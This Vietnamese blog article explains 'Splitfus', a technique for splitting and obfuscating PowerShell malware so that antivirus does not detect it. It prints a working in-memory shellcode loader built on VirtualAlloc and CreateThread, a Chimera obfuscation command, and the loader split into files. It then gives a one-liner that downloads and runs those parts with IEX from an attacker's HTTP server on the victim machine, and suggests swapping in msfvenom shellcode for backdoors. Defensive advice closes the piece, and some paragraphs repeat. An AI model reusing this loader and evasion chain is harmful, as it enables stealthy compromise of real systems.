Splitfus Là Gì? Cách Hacker Chia Nhỏ Mã Độc PowerShell Để Vượt Mặt Antivirus
Trong bối cảnh các hệ thống bảo mật như Antivirus (AV) và Endpoint Detection & Response (EDR) ngày càng tinh vi, các nhóm hacker cũng liên tục phát triển những kỹ thuật mới để “lách luật”. Một trong những phương pháp đáng chú ý nhất hiện nay là Splitfus.
Bài viết này sẽ giúp bạn hiểu rõ bản chất của Splitfus, tại sao nó lại hiệu quả và cách phòng chống kỹ thuật này.
1. Splitfus là gì?

Splitfus (viết tắt của Split + Obfuscation) là một kỹ thuật tấn công mã độc PowerShell bao gồm hai giai đoạn chính:
- Chia nhỏ (Split): Payload mã độc không được gửi đi dưới dạng một tập tin lớn duy nhất mà được bẻ nhỏ thành nhiều đoạn mã script khác nhau (ví dụ:
part1.ps1,part2.ps1…). - Làm rối (Obfuscation): Từng đoạn mã nhỏ này được mã hóa hoặc làm rối để che giấu mục đích thực sự, khiến các công cụ quét mã không thể nhận diện được hành vi nguy hiểm.
Kỹ thuật này thường được triển khai dưới dạng tấn công nhiều giai đoạn (staged execution) hoặc mã độc không tập tin (fileless malware), chạy trực tiếp trong bộ nhớ máy tính nạn nhân.
2. Tại sao Splitfus lại hiệu quả trong việc vượt qua Antivirus?
Lý do khiến Splitfus trở thành “nỗi khiếp sợ” của các hệ thống bảo mật truyền thống bao gồm:
- Vượt qua nhận diện chữ ký (Signature-based): Các phần mềm diệt virus thường tìm kiếm các “chữ ký” đặc trưng của mã độc. Khi mã độc bị xẻ nhỏ, các mảnh script lẻ loi thường không chứa đủ thông tin để bị coi là nguy hiểm.
- Tránh quét tĩnh và Sandbox: Nếu tải một file lớn, AV sẽ đưa vào môi trường Sandbox để phân tích. Với Splitfus, mã độc được tải động từng phần từ máy chủ của hacker, khiến Sandbox khó có thể tái hiện toàn bộ quy trình tấn công.
- Bypass AMSI (Antimalware Scan Interface): Dù Windows có hệ thống AMSI để quét nội dung PowerShell trước khi chạy, nhưng việc làm rối code và tải động khiến AMSI gặp nhiều khó khăn trong việc phân tích đầy đủ các đoạn mã nhỏ.
3. Ví dụ thực tế: Cách Hacker “ngụy trang” mã độc
Một ví dụ điển hình là việc thực thi mã lệnh liên quan đến Mimikatz (công cụ lấy trộm mật khẩu nổi tiếng).
- Nếu bạn chạy lệnh chứa chuỗi
"Invoke-Mimikatz", Antivirus sẽ chặn ngay lập tức vì đây là chữ ký nguy hiểm đã được lưu vết. - Tuy nhiên, nếu hacker tách chuỗi này thành nhiều phần nhỏ như
"Invo","ke","-Mim","ikatz"rồi mới nối lại trong quá trình chạy, hệ thống phòng thủ thường sẽ bị đánh lừa và cho phép thực thi.
4. Các công cụ hỗ trợ kỹ thuật Splitfus
Nhiều Framework tấn công chuyên nghiệp và các chiến dịch APT đã áp dụng cơ chế tương tự Splitfus để phát tán payload:
- Cobalt Strike: Sử dụng các staged payload để tải dần các tính năng độc hại.
- PowerShell Empire: Framework mạnh mẽ trong việc khai thác sau tấn công thông qua PowerShell.
- Chimera: Một công cụ hỗ trợ làm rối mã nguồn PowerShell cực kỳ tinh vi.
5. Ví dụ thực tế
Nhiều chiến dịch tấn công APT và malware framework như Cobalt Strike, PowerShell Empire, Metasploit đã áp dụng cơ chế tương tự Splitfus để phát tán payload staged. Đây là xu hướng phổ biến trong các cuộc tấn công fileless hiện nay.
Được rồi, bây giờ cùng mình thử chạy 1 đoạn code Powershell sau: Write-Host “Invoke-Mimikatz” . Ồ bạn thấy đấy, Antivirus đã phát hiện và chặn đoạn mã này. Đây là chỉ 1 đoạn mã in ra chuỗi trên terminal mà tại sao lại bị chặn nhỉ ? Bởi vì nó chứa chuỗi ký tự “Invoke-Mimikatz”. Đây là một chữ ký (signature) cực kỳ nổi tiếng và đặc trưng của công cụ tấn công Mimikatz

Như vậy, các AV được cấu hình để chặn ngay lập tức bất kỳ đoạn mã nào chứa chữ ký nguy hiểm này, ngay cả ở giai đoạn sớm nhất, nhằm ngăn chặn mọi ý đồ tiềm tàng liên quan đến Mimikatz. Đây là một biện pháp phòng ngừa rủi ro.
Vậy là chúng ta đã biết cách AV được cấu hình, giờ hãy thử tách chuỗi “Invoke-Mimikatz” thành nhiều chuỗi ngắn khác nhau.

Như bạn thấy, dù tách chuỗi thành các phần nhỏ như “Invo”, “ke”, “-Mim”, “ikatz”, AV vẫn không phát hiện ra đoạn mã độc. Sau đó, khi chúng ta nối lại các chuỗi này trong quá trình thực thi kết quả vẫn là “Invoke-Mimikatz” nhưng đã vượt qua được hệ thống phát hiện của AV. Đây chính là ví dụ đơn giản nhất của kỹ thuật Splitfus
Bây giờ chúng ta cùng xem 1 ví dụ khai thác thực tế hơn với đoạn code Powershell sau, với file tên là sc-original.ps1
[Byte[]] $shellcode = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
function LookupFunc {
Param ($moduleName, $functionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp = $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
$handle = $assem.GetMethod('GetModuleHandle').Invoke($null, @($moduleName));
[IntPtr] $result = 0;
try {
Write-Host "First Invoke - $moduleName $functionName";
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}catch {
Write-Host "Second Invoke - $moduleName $functionName";
$handle = new-object -TypeName System.Runtime.InteropServices.HandleRef -ArgumentList @($null, $handle);
$result = $tmp[0].Invoke($null, @($handle, $functionName));
}
return $result;
}
function getDelegateType {
Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,[Parameter(Position = 1)] [Type] $delType = [Void])
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType','Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc),(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $lpMem, $shellcode.Length)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread),(getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],[UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
ây là đoạn mã Powershell thực thi Shellcode của calc.exe trên Windows, nếu chúng ta thực thi toàn bộ đoạn mã này thì sẽ bị AV chặn. Và lúc này mình sẽ áp dụng kĩ thuật Splitfus. Trước tiên mình sẽ sử dụng công cụ Chimera để xáo trộn đoạn mã này trở nên khó đọc hơn với câu lệnh sau
./chimera.sh -f sc-original.ps1 -l 3 -v -t -s -b -j -o sc-obf.ps1
Giờ đây, đoạn mã Powershell ban đầu đã được làm rối bằng cách thay đổi biến. Tiếp theo, mình sẽ chia tệp này thành nhiều phần nhỏ hơn để thực thi một cách rời rạc, khiến hệ thống bảo mật không thể phát hiện ra chữ ký đặc trưng của shellcode
Tiếp theo, mình chia tệp sc-obf.ps1 thành 4 tệp riêng biệt: sc1.ps1 ( chứa biến lưu trữ Shellcode ), sc2.ps1 ( chứa hàm LookupFunc đã làm rối ), sc3.ps1 ( chứa hàm getDelegateType đã làm rối ) và sc4.ps1 ( chứa 3 dòng code cuối cùng ). Mỗi phần này nếu bị quét riêng lẻ sẽ không gây cảnh báo từ AV. Đây là đoạn code đã xáo trộn và tách ra riêng biệt từng file như mình nói

Giờ đây, đoạn mã Powershell ban đầu đã được làm rối bằng cách thay đổi biến. Tiếp theo, mình sẽ chia tệp này thành nhiều phần nhỏ hơn để thực thi một cách rời rạc, khiến hệ thống bảo mật không thể phát hiện ra chữ ký đặc trưng của shellcode
Tiếp theo, mình chia tệp sc-obf.ps1 thành 4 tệp riêng biệt: sc1.ps1 ( chứa biến lưu trữ Shellcode ), sc2.ps1 ( chứa hàm LookupFunc đã làm rối ), sc3.ps1 ( chứa hàm getDelegateType đã làm rối ) và sc4.ps1 ( chứa 3 dòng code cuối cùng ). Mỗi phần này nếu bị quét riêng lẻ sẽ không gây cảnh báo từ AV. Đây là đoạn code đã xáo trộn và tách ra riêng biệt từng file như mình nói
#sc1.ps1
[Byte[]] $LthwJuMUAmqvMRjAPliXdGwmLaXmjcSvILeKSAWVe = @(0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
0x59, 0x48, 0x83, 0xEC, 0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76,
0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17,
0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17,
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x30, 0x5D, 0x5F, 0x5E, 0x5B, 0x5A, 0x59, 0x58, 0xC3)
Các bước để thực hiện kĩ thuật Splitfus này cũng rất đơn giản. Đầu tiên, mình sử dụng lệnh sau để khởi tạo server Python trên cổng 80 với địa chỉ IP là 192.168.1.17:
python3 -m http.server 80
Server này sẽ lưu các file script PowerShell đã tách nhỏ và làm rối, cho phép máy nạn nhân tải xuống từng phần riêng biệt.
Cuối cùng mình tạo 1 đoạn lệnh thực thi ngắn gọn để thực thi trên máy nạn nhân
1..4 | ForEach-Object { IEX (New-Object System.Net.WebClient).DownloadString("http://192.168.1.17/sc$_.ps1") }
Lệnh này sẽ tải xuống và thực thi từng file script từ sc1.ps1 đến sc4.ps1. Đây là cách hiệu quả để vượt qua các cơ chế phát hiện mã độc vì mỗi phần riêng lẻ có thể trông vô hại. Khi kết hợp lại, chúng tạo thành một cuộc tấn công hoàn chỉnh mà nhiều giải pháp bảo mật không thể phát hiện

Với Metasploit, việc tạo shellcode trở nên dễ dàng hơn rất nhiều. Mình sẽ sử dụng lệnh msfvenom để tạo ra shellcode mới, sau đó thay thế vào script sc1.ps1. Điều này cho phép mình tùy biến cuộc tấn công theo nhiều hướng khác nhau, từ lấy quyền điều khiển máy tính nạn nhân đến đánh cắp thông tin hoặc cài đặt backdoor
Và đó là những ví dụ đơn giản, nhưng thực tế, mã độc PowerShell không hề đơn giản như vậy. Các hacker sẽ phải dùng thêm kĩ thuật Bypass AMSI để tăng tỉ lệ thành công
Cách phòng thủ trước kỹ thuật Splitfus
Kỹ thuật Splitfus là một trong những phương pháp tấn công bằng PowerShell tinh vi, khó phát hiện nếu hệ thống không được giám sát chặt chẽ. Để phòng thủ hiệu quả trước Splitfus, đội ngũ an ninh mạng cần triển khai đồng bộ nhiều biện pháp chủ động, từ việc giám sát hành vi cho đến xây dựng hệ thống cảnh báo sớm và đào tạo người dùng cuối.
Tăng cường giám sát PowerShell
PowerShell là công cụ thường bị lạm dụng trong các cuộc tấn công hiện đại. Để theo dõi hoạt động bất thường, hệ thống cần bật tính năng ghi nhật ký Script Block Logging (sử dụng Event ID 4104) kết hợp với Module Logging. Những thiết lập này giúp lưu lại toàn bộ lệnh PowerShell đã được thực thi, kể cả khi đã bị làm rối mã (obfuscate). Ngoài ra, nên kích hoạt chế độ Constrained Language Mode để hạn chế việc sử dụng các lệnh nguy hiểm trong môi trường thực thi PowerShell.
Kích hoạt và bảo vệ AMSI (Antimalware Scan Interface)
AMSI là lớp phòng vệ quan trọng giúp phân tích mã trước khi được thực thi trong PowerShell. Việc đảm bảo AMSI luôn được bật và không bị vượt qua (bypass) là điều thiết yếu. Khi tích hợp cùng Microsoft Defender hoặc các giải pháp EDR có hỗ trợ quét AMSI, khả năng phát hiện mã độc bị làm rối sẽ được nâng cao rõ rệt, giúp ngăn chặn sớm các hành vi tấn công từ Splitfus.
Kiểm tra hành vi tải động trong hệ thống
Một đặc điểm thường thấy của Splitfus là sử dụng các tham số nguy hiểm trong PowerShell như EncodedCommand hoặc gọi hàm IEX để tải mã từ xa thông qua chuỗi như (New-Object Net.WebClient).DownloadString. Hệ thống EDR hoặc HIDS cần được cấu hình để nhận diện những hành vi này. Đồng thời, cần cảnh giác khi phát hiện script được tải về từ domain không đáng tin cậy, đặc biệt là các yêu cầu HTTP GET chứa tập tin đuôi .ps1.
Thiết lập kiểm soát truy cập mạng chặt chẽ
Kiểm soát truy cập mạng đóng vai trò quan trọng trong việc ngăn chặn Splitfus giao tiếp với máy chủ điều khiển (C2 server). Cần chủ động chặn các kết nối outbound đến địa chỉ IP hoặc domain nghi ngờ. Việc cấu hình proxy kết hợp với kiểm tra TLS (TLS inspection) sẽ giúp phát hiện các hành vi tải mã ẩn dưới kết nối được mã hóa. Bên cạnh đó, cập nhật liên tục các chỉ số tấn công (IOC) từ nguồn Threat Intelligence Feed sẽ nâng cao khả năng nhận diện và phản ứng kịp thời.
Cuối cùng, yếu tố con người luôn là mắt xích yếu nhất trong chuỗi phòng thủ. Việc tuyên truyền và đào tạo người dùng cuối nhằm nâng cao nhận thức bảo mật là điều bắt buộc. Nhân viên cần được hướng dẫn không chạy script từ các nguồn không rõ ràng. Đồng thời, kỹ năng nhận diện email giả mạo (phishing) cũng cần được chú trọng vì đây thường là điểm xuất phát của các cuộc tấn công Splitfus.
Câu hỏi thường gặp
Splitfus là gì và tại sao nó hiệu quả trong việc vượt qua Antivirus?
Splitfus là kỹ thuật hacker chia nhỏ mã độc PowerShell, làm rối code và thực thi từng phần. Điều này giúp giảm khả năng bị phát hiện dựa trên chữ ký, tránh quét tĩnh và sandbox, đồng thời bypass AMSI (Antimalware Scan Interface).
Kỹ thuật Splitfus hoạt động như thế nào trong thực tế?
Hacker chia mã độc thành nhiều đoạn nhỏ, mã hóa chúng và tải từng đoạn lên máy nạn nhân để thực thi. Việc này làm cho mã độc khó bị phát hiện hơn so với việc tải và thực thi một file mã độc lớn.
Có những công cụ nào hỗ trợ thực hiện kỹ thuật Splitfus?
Nhiều chiến dịch tấn công APT và framework malware như Cobalt Strike, PowerShell Empire, Metasploit sử dụng kỹ thuật tương tự Splitfus. Ngoài ra, các công cụ như Chimera có thể giúp làm rối mã nguồn PowerShell, hỗ trợ việc sử dụng kỹ thuật này.
6. Cách phòng thủ trước kỹ thuật Splitfus

Để bảo vệ hệ thống khỏi các cuộc tấn công Splitfus, quản trị viên cần thực hiện các biện pháp sau:
- Tăng cường giám sát PowerShell: Bật tính năng Script Block Logging để ghi lại toàn bộ nội dung script thực thi, kể cả sau khi chúng đã được nối lại trong bộ nhớ.
- Bảo vệ AMSI: Đảm bảo hệ thống AMSI luôn được cập nhật và không bị hacker vô hiệu hóa bằng các kỹ thuật “patch” bộ nhớ.
- Kiểm soát truy cập mạng: Chặn các kết nối lạ (outbound) từ PowerShell đến các địa chỉ IP hoặc tên miền nghi ngờ. Sử dụng Proxy để kiểm tra lưu lượng HTTP/HTTPS chứa các file
.ps1. - Nâng cao nhận thức người dùng: Đào tạo nhân viên không chạy các script hoặc tệp tin từ nguồn không đáng tin cậy.




